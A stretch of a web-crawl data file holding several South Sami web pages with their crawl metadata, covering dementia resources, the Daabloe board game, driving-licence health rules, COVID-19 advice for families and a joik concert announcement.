nedtesæjrosne. Mijjieh veeljeme nöörjen teekstem meatan vaeltedh, guktie almetjh mah eah saemien soptsesth aelhkebelaakan maehtieh bïevnesi bïjre bievnedh jïh dejtie guhkiebasse åehpiedehtedh.\nRæhpasvoete demensen bïjre – Bïevnesefilme demensen bïjre saemien gïele- jïh kultuvreperspektijvine. Filme bïevnesh vadta ovmessie demenseskïemtjelassi bïjre, kommunikasjovnen jïh ektiespïelen bïjre almetjinie mij demensen åtna, jïh bïevnesh reaktan bïjre healsoe- jïh hoksedïenesjidie.\nSaemien aalkoealmetjh gosse demensem sovmehte\nJuktie kognitijve biehtemem jïh demensem saemien aalkoealmetji luvnie salkehtidh, jïjtsh juvnehtimmieh leah dorjesovveme. Juktie krïevenasside dåastodh eensi salkehtimmien bïjre jïh hijven båehtjierdimmien\/ dåarjoehtimmien bïjre dellie joekoen vihkeles healsoe- jïh hoksebarkijh daajroem utnieh kultuvren jïh fuelhkien viermien bïjre jïh guktie almetje healsoem, skïemtjelassem jïh båehtjierdimmiem guarkoe.\nAkte tjarke juvnehtimmie Nasjonaale faageles njoelkedassine demensen bïjre, almetjh saemien kultuvremaadtojne jïh gosse demensem sovmehte, byöroeh salkehtimmiem sjïerehealsoedïenesjisnie åadtjodh gosse gïele, ööhpehtimmiedaltese jïh \/jallh kultuvre lea akte heaptoe salkehtæmman aalkoehealsoedïenesjinie, jalhts tjïerteste saemien kultuvremaadtoe oktegh ij leah akte jïjtse krïevenasse juktie sjïerehealsoedïenesjisnie salkehtidh. Årrode tsåatskeles toelhkedïenesjh maehtieh daerpies årrodh.\nDoh kognitijve goerehtallemedïrregh MMSE-NR3 jïh RUDAS mah leah meatan basaale salkehtimmesne demenseste leah jarkoestamme noerhtesaemien gïelese.\nGïeh mannem vuejnieh? – Filme demensen bïjre\nFilme unnebe maanide sjeahta mah tjidtjiem, aehtjiem jallh jeatjah fuelhkielïhtsegem demensine utnieh, jïh maahta bïevnesebarkosne åtnasovvedh. Filme akten nïejten bïjre mij tjidtjiem åtna demensine. Nïejte såemies dejstie åssjaldahkijste buakta mah maehtieh jijhtedh gosse akte dejstie eejhtegijstie faahketji jorkese bielelen maana guarkoe mannasinie. Filmesne altese murredskreeke, snjågloe \"Huske\", soelkehte jïh viehkehte jïh sutnjien demensen bïjre soptseste.\nFilme lea noerhtesaemien, åarjelsaemien jïh julevsaemien gïeline jïh vuelieteekstine.\nBïevnesematerijelle\nDaesnie bïevnesematerijelle saemien jïh nöörjen gïelesne, mij maahta sjyöhtehke dïrregh demensehoksesne jïh sïejhme healsoe- jïh hoksedïenesjisnie årrodh. Vedtieh mijjese maaje raerieh materijellen bïjre, maam sïjhtebe vuarjasjidh juekedh daennie sæjrosne.\nSaemien skïemtjijh jïh dej lïhke fuelhkie\n– Gaaltijh skraejrine jïh nåhtojne\nDaan maabpan sïjse materijelle tjöönghkesovveme mah sån sijhtieh skraejrine jïh nåhtojne årrodh gaskesisnie saemien skïemtjijigujmie jïh dej lïhke fuelhkine. Materijelle sjiehteles nuhtjedh dovne voerese- jïh demensehoksesne jïh sïejhme healsoe- jïh hoksedïenesjinie. Aldring og helse lea materijellem sïjse tjöönghkeme stillemen mietie Healsoedirektoraateste, laavenjostosne jarngine Utviklingssenter for sykehjem og hjemmetjenester til den samiske befolkningen i Finnmark.\nTeemagærjetjh\nTeema-aarhke demensen bïjre\nProsjekte Aldring og helse ovmessie teema-aarhkh dorje sjyöhtehke bïevnesigujmie demensen bïjre. Ulmiedåehkieh daejtie bïevnesidie leah almetjh demensine, lïhke fuelhkie, healsoebarkijh jïh jeatjah iedtielahtjh. Vuartesjh doh ovmessie teema-aarhkh daesnie:\nDarjomegærjah\nMåjhtah goh, guvviebaakoegærja vuesehte sïejhme daeverh spidtjeburrien, mearoe- jïh jaevriegöölijen jïelemistie, jïh aaj båatsoeburrien byjreskistie. Voeresalmetjh åadtjoeh gïehtjedidh guvvieh mah leah åehpies jallh aaj mujhtehtieh voereskodtjen jïjtse vaaseme jaepide. Guvviem naan åehpies dirregistie maahta jealadehtedh deahpadimmiem mij joe lea åajaldehteme, jïh vaejtie aaj baakoeh mah leah dabranamme almetjen vuerkesne. Gærja noerhtesaemien, åarjelsaemien jïh julevsaemien gïelesne.","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/www.aldringoghelse.no\/demens\/sorsamisk\/","date":"2021-07-24T11:11:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046150264.90\/warc\/CC-MAIN-20210724094631-20210724124631-00113.warc.gz","language":"sma","language_score":0.9999986887,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"sma_Latn_score\": 0.9999986886978149}","num_words":540,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.134,"stopwords_ratio":0.185,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daabloe lea båeries åarjelsaemien spïele mij guhkiem gaarvanamme daaroedehtemen åvteste, mohte daelie Daabloe hov lea dalveme jïh gellieh almetjh leah jeenjem barkeme Daabloem gorredidh. Vuesiehtimmien gaavhtan åarjelsaemien gærjabusse Gærjah lea jeenjem barkeme Daabloem lutnjedh.\n-Ussjedem don baelien aerpiem daan baalan meatan vaeltebe jïh aaj båetije biejjide. Lea vihkeles daate aerpie aaj, læjhkan ij mijjen arkebiejjien dïjph. Daejnie spïeline maehtebe histovrijem darjodh, soptsestidh gubpede spïele båata, guktie maadtoeh aarebi daabloejin jïh aaj gusnie dah aarebi daabloejin, Marianne Kappfjell jeahta.\nMarianne Kappfjell jeahta sov leah sæjhtoe Daabloem bååstede vaeltedh dan åvteste ij sïjhth Daabloe edtja gaarvenidh. Daan giesien Gærjah Gïeleviehkine jïh Saemien Åålmeginie soptsesti jïh daelie edtjieh laavenjostedh «Bååstede Daabloem» öörnedh. «Bååstede Daabloe» lea akte prosjeekte mij edjta Daabloem lutnjedh. Marianne jeahta ahte Mikkel Berg Gaup aaj lea viehkiehtamme Daabloem bååstede vaeltedh. Vuesiehtimmien gaavhtan dïhte lea aktem Facebook-sæjroem Daabloen jïh jeatjah spïeli bïjre tseegkeme, jïh Mikkelen åvteste gellieh ovmessieh saemien spïelh leah dalveme.\n-Gellieh arkeologijes gaavnemh vuesiehtieh daate spïele lea båeries. Daabloe lea båeries gierkine jïh feallojne gaavnesovveme. Daabloe lea seamma baakoetjïertesne goh baakoe «buertie» jïh aaj seamma maadtoe-moeresne goh Tablut, mij Frankrijhkeste båata. Daah spïelh leah öövre båeries jïh ij gieh rïkti daejrieh man båeries dah leah, Marianne jeahta.\nMarianne jeahta Gærjah lea nænnoes dååjrehtimmie Daabloem ööhpehtimmesne nuhtjedh, vuesiehtimmien gaavhtan Aarbortesne. Jeahta luste vuejnedh daate spïele saajenæsta jïh gellieh sïjhtieh daam spealadidh. Marianne jeahta gosse båeries almetjh gaavnedieh dellie voestegh tuhtjieh Daabloe ovnohkens, mohte mearan spealedeminie dah måjhtajieh. Dah leah mojhtesh maana-baeleste jïh lea tryjjes vuejnedh man vihkeles Daabloe lea. Marianne jeahta Daabloe aaj maahta åajaldihks båeries almetjh viehkiehtidh.\nRamona Kappfjell Sørfjell lea 21 jaepien båeries jïh lea akte daejstie noere Gïeleviehkijste gie sæjhta åarjelsaemien gïelem lutnjedh jïh sæjhta vielie noerh edtjieh saemiestidh. Ramona jeahta vihkeles Daabloem bååstede veedtjedh jïh jeahta noerh aaj leah vihkeles dam spïelem gorredidh.\n-Gegkestem vielie noerh sijhtieh Daabloem spealadidh jïh kaanne Daabloe maahta saemienööhpehtimmine årrodh. Juktie gellieh ovmessieh jiehtegh spïelesne mejtie mijjen gïelem lutnjieh. Mijjieh aaj maehtebe Daabloem eevtiedidh juktie digitaale sjædta. Jis Daabloe digitaale sjædta mijjieh maehtebe sinsitnien vööste gaskeviermesne spealadidh jïh sinsitnine åahpanidh, Ramona Kappfjell Sørfjell jeahta.\nMinngemosth Marianne jeahta maehtebe daallegh Daabloem Noerthelaanten fylhkegærjagåeteste löönedh. Jeahta gaajhkh gærjagåetiebarkijh edtjieh lïeredh guktie Daabloem spealadidh. Marianne jeahta tuhtjie gieltegs daan jïjnjh deahpade jïh båetije biejjide aavode.","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/rorosnytt.no\/category\/saernieh\/","date":"2021-09-21T20:11:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057227.73\/warc\/CC-MAIN-20210921191451-20210921221451-00025.warc.gz","language":"sma","language_score":1.0000039339,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000039339065552}","num_words":370,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.143,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije Utsi, Anne Lájlá Bertije Filbmagoahti as Vaadtasovvemejaepie 2004 Faage Vætnoe Siebriedahkefaage Eatnemelearoe jïh histovrije Saemien histovrije jïh siebriedahke Daltese 5-7 8-10 VGS Jollebe ööhpehtimmie Giele Eenglaantengïele Noerhtesaemiengïele Daaroengïele ISBN Vi358 Tïjje 00:51:00 Formaate DVD Reakta-aajhtere Filbmagoahti as Reaktah Gaajhkh reaktah leah doelehtovveme Demands Norwaco Ijje Aamhtesh Aerpiemaahtoe Duedtie Eatnemelearoe Åålmege jïh laanth Saepmie Histovrije Kultuvre Filme Kåanste Siebriedahke Siebriedahkedaajroe","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/ovttas.no\/sma\/filbma_tundra-settlers","date":"2021-09-18T05:17:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780056297.61\/warc\/CC-MAIN-20210918032926-20210918062926-00306.warc.gz","language":"sma","language_score":0.9987987876,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9987987875938416}","num_words":56,"character_repetition_ratio":0.098,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.089,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bïeliem jarkoestidh\nGosse galka bielide jarkoestidh, dle svaalhtesme dïedtelh «Translate this page».\nDennie bielesne mij dellie jijhti, gïelem veeljie jïh dle \"Fetch\" båaloem dïedtelidh.\nVuelelen tabellem jijhti gusnie gellie svaalhtesh gårroebielesne jïh teektsh åelkiesbielesne. Dïedtelh voestes svaalhtesem gosse edtja aelkedh jarkoestidh.\nDennie åelkiesbielesne onne teekstem jijhti gusnie dam jarkoestimmiem tjaala. Dan mænngan \"Save and open next\" dïedtele, goske riejries jarkoestamme.\nNaa aelhkie lea\nGosse bååstede båata dan sæjrose maam lea jarkoestamme, dle vuajna dam maam aadtjegh lea jarkoestamme jijhti","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/satni.uit.no\/termwiki\/index.php?title=Jorgalit_siidduid\/sma","date":"2021-10-23T06:21:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585561.4\/warc\/CC-MAIN-20211023033857-20211023063857-00492.warc.gz","language":"sma","language_score":1.0000060797,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 1.000006079673767}","num_words":79,"character_repetition_ratio":0.09,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.063,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dov dïedte jearsoeslaakan vuejedh\nJis jueriedisnie mejtie maahtah jearsoeslaakan vuejedh healsoen jallh bådtjan gaavhtan, dle dïedtem åtnah dåakteren luvnie mïnnedh. Jis akte dåaktere, psykologe jallh tjelmiedåaktere veanhta healsoen gaavhtan dle datne ih maehtieh vuejemeleahpam utnedh, dle dïhte edtja dan bïjre Fylhkenålmese bieljelidh. Fylhkenålma pollisem beavna dastegh datne byörh vuejemeleahpam ellies jallh bodtetjem laehpedh.\nMaahtah syökedh vuejemeleahpam bååstede åadtjodh\nDatne maahtah pollisem jallh Fylhkenålmam ohtsedh vaalteme vuejemeleahpam bååstede åadtjodh. Maahtah vuejemeleahpam bååstede åadtjodh jis healsoekrïevenasside vihth illeme.\nMaahtah dispensasjovnen bïjre syökedh healsoekrïevenassijste\nDatne maahtah Fylhkenålmam dispensasjovnen bïjre syökedh healsoekrïevenassijste. Ohtsemisnie tjoerh bieljelidh man vuejemeleahpaklaassen bïjre datne syökh, jïh mannasinie datne vuejemeleahpam daarpesjh.\nPersovneles tjaaleme ohtseme tjuara baalte bïejesovvedh:\n- Staten vegvesen'en goere NA-0202 - Helseattest ved søknad om førerett - dievhteme datneste jïh dov vihties dåakteristie\n- Dåakterevihtienasse sjyöhtehke sjïeredåakteristie jallh sjïeregoevtesistie mij ellies bïevnesh dov skïemtjelassen bïjre vadta, jïh gusnie akte tjïelke juvnehtimmie sjïeredåakteristie\n- Jis sohkerejaamedhgæbjam åtnah jïh insulinem jallh bådtjah åadtjoeh mah vïrresohkerem vueliedieh, tjoerh Statens vegvesen'en goere NA-0202 b - Tilleggsattest om helse for diabetikere baalte bïejedh\n- Jis nåakebelaakan vuajna bielelen naan skïemtjelasse, tjoerh Statens vegvesen'en goere NA-0202 optiker - Optikerattest ved søknad om førerett, baalte bïejedh\nJis datne ohtsemem hijvenlaakan vihtiestamme dle aelhkebe Fylhkenålmese reaktoe nænnoestimmiem darjodh, jïh dov aamhtesem varke gïetedidh.\nFylhkneålma ohtsemh dispensasjovnen jïh bååstededeellemen bïjre vuejemeleahpeste gïetede, mearan Healsoedirektovraate lea klååkemesuerkie. Jis dov giehpiedamme svïhtjemevoete mij ij sïjhth jorkesidh båetijen aejkien, dle Statens vegvesen dov ohtsemem gïetede.","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/www.statsforvalteren.no\/sma\/oslo-og-viken\/healsoe-jih-hokse\/vuejemeleahpa\/","date":"2021-10-28T07:46:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323588282.80\/warc\/CC-MAIN-20211028065732-20211028095732-00093.warc.gz","language":"sma","language_score":0.9999777079,"language_script":"Latn","minhash_cluster_size":30,"top_langs":"{\"sma_Latn_score\": 0.999977707862854}","num_words":227,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.07,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Korona:\nVihkeles bïevnesh koronavijrusen bïjre\nRaerieh koronan bïjre eejhtegidie, maanide jïh nåejside. Raerieh eejhtegidie darjomi bïjre maanajgujmie ektine jïh guktie maanajgujmie koronan bïjre soptsestidh.\nPublisert: 20.03.2020 kl 15:09\nRøros kommune har lagt ut informasjon om koronaviruset på sørsamisk.\nMaanah jïh korona\nVååjnoe goh maanah skïemtjelassem koronavijrusinie buerebelaakan tööllh goh båarasåbpoe almetjh. Men maanah maehtieh mubpieh laanestidh.\nMaanah maehtieh sinsitnine stååkedidh jallh ektesne årrodh?\nGaajhkesh dovnesh birresuvvieh gåetesne årrodh dan jïjnje gåarede. Maahta åerpenigujmie årrodh guktie pråvhka, daate aaj faamosne dejtie maanide juakadamme fuelhkijste mah jienebh hïejmh utnieh. Åejvieulmie lea læjhkan låhkoem giehpiedidh dejstie mejgujmie gaskesem åtna dan jïjnje gåarede.\nIbie juvnehth jienebh maanah stååkedæmman tjöönghkedh jallh ektie darjoemidie. Ulmie lea dåbpanidh juktie suetiem heerredidh.\nJuvnehtimmie lea unnemes aktem meeterem mubpijste dåbpanidh.\nByöroe gaertjiedidh man guhkiem lea ektesne (gille tæjmoeh).\nJuktie gorredidh maanaj daerpiesvoeth jeatjah maanajgujmie stååkedidh dah maehtieh aktem jallh göökte vihties stååkevoelph utnedh, jïh dej seamma stååkevoelpigujmie stååkedidh abpe daan boelhken. Daate aaj faamosne noeride.\nBuerebe gaavnedidh ålkone stååkedidh goh gåetien sisnie.\nByörh baajedh årrodh stååkesijjieh nuhtjedh gelliej maanajgujmie. Juvnehtimmie mubpijste aktem meeterem dåbpanidh, aaj faamosne daesnie.\nByöroe reakedsbiejjiesïelskigujmie vuertedh.\nByöroe jïjjedimmieguessieh gaertjiedidh daan boelhken.\nBïssh gïeth daamtaj, dovne stååkedimmien åvtelen jïh mænngan jïh mearan stååkedeminie, jïh vuesehth raajnesvoetem gosse gossh.\nMaanah jïh noerh mah symptomh utnieh voejngehtimmie-infeksjovnine edtjieh gåetesne årrodh jïh eah byörh jeatjah maanajgujmie jïh noerigujmie årrodh fuelhkien ålkolen. Daate aaj faamosne gosse lijnies symptomh.\nMaanah jïh noerh mah leah gåetie-isolasjovnesne jïh gåetie-karanteenesne eah edtjh jeatjah maanajgujmie jïh noerigujmie årrodh gåetieguntien ålkolen.\nNaemhtie maanajgujmie koronan bïjre soptsesth\nVihkeles maanajgujmie jïh noerigujmie soptsestidh olles dah asvem åadtjoeh, jïh jearsoesvoetem sjugniedidh daelie gosse biejjieh dan jeatjahlaakan.\nSoptsesth maanajgujmie man åvteste skuvlh, maanagïerth jïh astoeaejkien darjomh leah steegkesovveme. Tjïelkesth dah leah steegkesovveme olles koronavijruse edtjh guhkiebasse saaseridh.\nGihtjh maam dah leah govleme jallh lohkeme koronan bïjre, jïh mejtie mestie akt tjoeperdieh.\nVedtieh bïevnesh mah ajve leah jïjtjehke skïemtjelassen bïjre jïh mah leah reaktoe. Geehth ollh fer veaksehks baakoeh nuhtjh jallh vihkelesvoetem giehpedh. Skïemtjelasse itjmies men mijjieh hijvenlaakan ryöjredamme Nöörjesne.\nAellieh maanide ovdaerpies båasardehtieh – gossedh jïh gesnedh leah iemie, jïh doh ellen jeanatjommesh mah suetiem koronavijrusistie åadtjoeh lijnies symptomh åadtjoeh.\nSoptsestallede ij leah daerpies saernide gïehtjedh iktegisth, jïh seamedh maaje maanine man daamtaj. Tjihkedh maaje maanine ektine jïh soptsestallede dan bïjre maam vuejnede, govlede jïh lohkede.\nVihkeles maanese goltelidh. Årroeh stïeresne soptsestimmesne, jïh baajh maanam soptsestidh goske gaervies.\nMujhtieh joekoen unnebe maanah fantasijine «lissiehtieh» gosse mij akt maam eah guarkah.\nÅrroeh vihties, staaran jïh tjyölkehke. Jiehtieh maaje mubpesth joekehtslaakan.\nTjïelkesth guktie suetiem åådtje (trahpasuetie lïhkebisnie) – jïh guktie maahta heerredidh suetiem åadtjodh (gïetide bissedh, gernjeregaevien sïjse gesnedh jnv.)\nÅrroeh tjyölkehke maana åådtje bïlledh, håjnan jallh haarmesne årrodh gosse biejjieh dan jeatjahlaakan sjidtieh, jïh ij åadtjoeh darjodh guktie pråvhka.\nSoptsesth gellie stoerretjuetie dåakterh jïh skïemtjesåjhterh jïh mubpieh mah geehtieh dah mah skïemtjine sjidtieh hijven båehtjierdimmiem åadtjoeh.\nRyöjrehth maanide mah jarkelimmieh mah sijhtieh båetedh dej båetiji våhkoej, v.g. eejhtegh sijhtieh barkedh hïejmeste, voelph jïh fuelhkie eah sïjhth guessine båetedh dan jïjnjem jïh fuelhkie tjuara vuertedh fealadidh, reakedsbiejjieh aavoedidh jïh plearoeh aath darjodh.\nTjïelkesth daate tsiehkie ajve sæjhta vaesedh aktem boelhkem, biejjieh sijhtieh iemie sjïdtedh vihth, men ibie rikti daejrieh gåessie.\nMujhtieh aaj:\nMaanah jïh noerh daamtaj bïevnesh ohtsedieh gaskeviermesne. Geahtjh guktie maanah gaskeviermiem nuhtjieh. Gihtjh maaje mejtie dah leah maam akt koronavijrusen bïjre lohkeme daan biejjien.\nNoerh daamtajommes jïemmehkigujmie soptsestieh, jïh maehtieh jïjnjh bïevnesh åadtjodh mah eah leah reaktoe. Sjïehteladth dah maehtieh datnine soptsestidh. Aellieh åajeldh noerh aaj maehtieh stråarkan årrodh jïh daarpesjidh geerve almetjinie soptsestidh.\nDaate filme dorjesovveme ulmiedåahkan maanah jïh noerh. Maahta vuelieteeksth veeljedh gelline gïeline viehkine don onne gaengkierasse diedtedh betnielinjesne.\nDiedtieh don onne gaengkierasse betnielinjesne gosse filmem rïhpestamme\nVaeltieh båarhte «Automatisk avspilling» jis lea rååpsehke\nVeeljh «Innstillinger»\nDiedtieh «Teksting»\nVeeljh «Oversett automatisk»\nVeeljh gïelem\nDellie vuelieteekste våajnoes sjædta dan veeljeme gïelese (men tjoeje annje nöörjen gïelesne). Ibie maehtieh 100 proseente seekere årrodh jarkoestimmie eevre reaktoe.\nRaerie dutnjien goh eejhtege\nSkuvlh jïh maanagïerth leah steegkeldh dan åvteste gaajhkesh dovnesh tjuerieh viehkiehtidh geerjehtimmiem korona-epidemijeste gaertjiedidh. Daate tjoeperdimmiem sjugnede jïh gellie fuelhkieh båasardahta. Daesnie såemies raerieh mah maehtieh viehkine årrodh juktie dam orre aarkebiejjiem haalvedh:\nVæjsehke iemie vuekieh utniehtidh gosse edtja byöpmedidh jïh åarajidh.\nSïejhme skuvlebiejjien sisnjelen maanah byöroeh skuvlebarkoem darjodh, guvviedidh, gærjah lohkedh jallh goltelidh jïh ålkone årrodh bielelen lïhke mubpiejgujmie årrodh.\nUtnieh fokusem positijve aatide mejtie fuelhkie maahta ektesne darjodh – goh filmem vuartasjidh, musihkem goltelidh, ektesne lohkedh, ålkone mïnnedh jallh spealh spealedh. Hoksede dijjieh tjåanghkenidie ektie maalestahkide.\nMujhtieh datne leah råållamodelle maanide. Guktie datne raessiem gïetedh, guktie dijjieh geerve almetjh daan tsiehkien bïjre soptsestidie jïh guktie dijjieh dåemiedidie, maanide tsevtsieh.\nDomtesh goh asve, panihke, håjnoesvoete jïh oktegsvoete leah iemie reaksjovnh dagkerh sjïere tsiehkine. Maanah aelhkieslaakan geerve almetji domtesh demtieh, jïh buerebe ræhpas årrodh sov domtesi bïjre goh dejtie tjïekedh.\nMaanah joekehtslaakan reageradieh. Naakenh maehtieh sompere vååjnedh gosse dejgujmie soptsesth, men tjoeperdimmiem mænngan vuesiehtidh. Årroeh joekoen tsåatskeles iehkeden jïh jïjjege. Gellie maanah lissie stråarkan dellie sjidtieh.\nVihkeles daejredh mij heannede, men maahta væjsehke årrodh åtnoem sosijaale meedijistie jïh plearoeh aatijste gaertjiedidh jis dïhte lissie raessiem jïh ovdaerpies asvem vadta.\nSyökh dåarjoem mubpiej luvnie – Aellieh bïllh viehkien bïjre birredh.\nSoptsesth maam dijjieh edtjede fuelhkesne darjodh jis naaken mådtan domtoe jïh skïemtjine sjædta. Jis sjyöhtehke sjædta karanteenine; tjïelkesth mij dïhte lea jïh soptsesth man bïjre dijjieh maehtede darjodh guktie dïhte dan murreds sjædta goh gåarede.\nNåejsieh jïh korona\nMaam nåejsiej jïh koronavijrusen bïjre daejrebe?\nNåejsieh maehtieh lissiehtamme vaahram utnedh itjmiesåbpoe evtiedimmiem såemies vijruseinfeksjovnijste åadtjodh jis suetiem åådtje, goh influensa. Annjebodts ibie daejrieh mejtie aaj lea faamosne skïemtjelassese covid-19.\nAlmetjehealsoeinstituhte lea raerieh dorjeme nåejside.\nVijruse maahta laanestidh tjidtjiebistie maanese baersieldimmiem åvtelen jallh mænngan jallh baersieldimmesne?\nDaan biejjien jueriedisnie mejtie koronavijruse maahta tjidtjiebistie maanese laanestidh baersieldimmien åvtelen jallh mænngan jallh baersieldimmesne.\nNåejsieh byöroeh sjïere vååregenjoelkedassh fulkedh?\nRaerieh suetieheerredimmien bïjre dejnie orre koronavijrusinie leah doh seamma goh jeatjah infeksjovneskïemtjelasside, goh raajnes gïeth utnedh jïh baajedh årrodh almetjigujmie årrodh mah symptomh utnieh skïemtjelassese voejngehtimmine.\nMijjieh juvnehtibie nåejsieh 2. jïh 3. trimesterisnie jïh nåejsieh 1. trimesterisnie mah aaj vaahrafaaktovrh utnieh, vaksijnem vaeltedh sïejhme influensan vööste. Daate lea faamosne aaj gosse ij leah koronavijruseinfeksjovne.","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/nearadio.no\/vihkeles-b-evnesh-koronavijrusen-b-jre\/19.23736","date":"2021-10-26T01:29:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323587794.19\/warc\/CC-MAIN-20211026011138-20211026041138-00147.warc.gz","language":"sma","language_score":1.0000014305,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"sma_Latn_score\": 1.0000014305114746}","num_words":988,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.116,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sanks regijovnide dåvta psykiatrijehåksoem vedtedh mij lea saemide sjïehtesjadteme. Sanks:n håksoebarkijh saemiej jielemen bïjre maehtieh jïh stööremes lehkie barkijistie saemiestieh.\nDatne maahtah gåhtjomem Sanks:ese åadtjodh\nTsiehkieh mij lea latjkosne Sanks:n jïh regijovni gaskem:\n- Datne maahtah gåhtjomem håksose Sanks:sne åadtjodh.\n- Maahtah håksoem Sanks:sne åadtjodh jallh digitaales håksoem åadtjodh.\n- Seamma man båeries dle maahtah viehkiem åadtjodh.\n- Dov dåaktere, psykolovge jallh kuratovre maehtieh Sanks:n barkiji gujmie gaskesadtedh guktie hijven håksoem åadtjoeh.\nPasijeentelaake ajve almetjidie Sveerjesne. Dan gaavhtan ih jïjtje maehtieh Sanks:m bieljelidh.\nVoestemes tjoerh dam dov healsoejarngem bieljelidh guktie gåhtjomem Geervealmetjepsykiatrijen gåajkoe åadtjoeh, jïh dle dah vierhtiedieh mejtie Sanks:ese daarpesjh.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/www.1177.se\/sma-se\/Dalarna\/other-languages\/other-languages\/ma-daligt---andra-sprak\/mojlighet-till-vard-hos-sanks-i-norge\/","date":"2021-12-04T16:37:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362999.66\/warc\/CC-MAIN-20211204154554-20211204184554-00445.warc.gz","language":"sma","language_score":1.0000034571,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.000003457069397}","num_words":97,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.062,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Raasten rastah har den store gleden av å annonsere urfremføringen av verket Raajroe – The Reindeer Caravan, med Marja Mortensson, Daniel Herskedal, Jakop Janssønn og Kringkastingsorkesteret.\nFoto av bandet: Ellen Agneta Norvang\/NRK.\nFoto gåetie: Jørn Kristensen\nKonserte Plaassjen gærhkosne, golken 1. biejjien 2021\nRaajroe – The Reindeer Caravan\nMarja Mortensson\nDaniel Herskedal\nJakop Janssønn\nKringkastingsorkesteret\nVuelieh mijjien vihkielommes aerpiemaahtoe, jïh vuelieh iktegisth mijjine jealeme. Vuelieh tjaebpieslaakan eatnemen vaajesh buerkiestieh, jielemem bovtsi ektine, jielemem raasti dåaresth.\nVuelie eatnemen bïjre jortehte. Eatneme siekerde sov vaajmoegïelem govledh. Gïele, mij dan tjaebpieslaakan satnem buerkeste. Eatneme vuertieminie dan baalan goske libie vihth ïedtjem gaavneme mijjen gïelem utnedh; ihke mijjieh iktesth soptsestidh, gaajhkine lehkesne. Dan baalan eatneme jïjtje tjuara soelkelaakan soptsestidh. Vaerieh, jeanoeh, mearoeh, bïegke, dah soelke joejkestieh; viehkiehtieh saemiej jielemem geehtedh.\nDaate lea voestes aejkien konserte lea dorjesovveme. Meatan leah Marja Mortensson, Daniel Herskedal jïh Jakop Janssønn. Marja lea musihkeri ektine tjaebpieslaakan vuelide jïh musihkem ikteramme. Dan aejkien Nöörjen Kringkastingsorkesterem bööredamme vueline åahpenidh.\nBuerie båateme Raajroen konsertese!\nGusnie bovtsh årroeminie, desnie mijjieh aaj maehtebe veasodh jïh bïerkenidh. Bovtsi namhtah ibie bïerkenh.\nVerket Raajroe – The Reindeer Caravan speiler inntrykk fra vår aller viktigste fortellertradisjon, vuelie – joiken. Verket formidler de lange linjene i vår samiske historie, kjærligheten til naturen og reinen, det som gir oss liv; de gode minnene som lever i oss og en sterk tro på de kommende generasjonene.\nMen vårt liv preges også av den politikk som er ført. Hva vil det si å vokse opp i en levende tradisjon, der noen deler står så sterkt og andre kun er vage minner om en svunnen tid? Vår sterke fortellertradisjon er det viktigste vi har, og i joiken lever den evig.\nMarja Mortensson er en av tradisjonsbærerne for sør-, og umesamisk joiketradisjon. Sammen med trioen bestående av Daniel Herskedal og Jakop Janssønn har de formet et nytt landskap for joiken. Joiken formidles i stort format og denne gangen er det Kringkastingsorkesteret som dras inn i joikens univers, mektig og vakkert orkestrert av Daniel Herskedal.\nKonsert i Bergstaden Ziir 1. Oktober 2021 med Marja Mortensson og Kringkastingsorkesteret\nBillettsalg åpnes tirsdag 24. august. Billettsalg gjennom Storstuggu 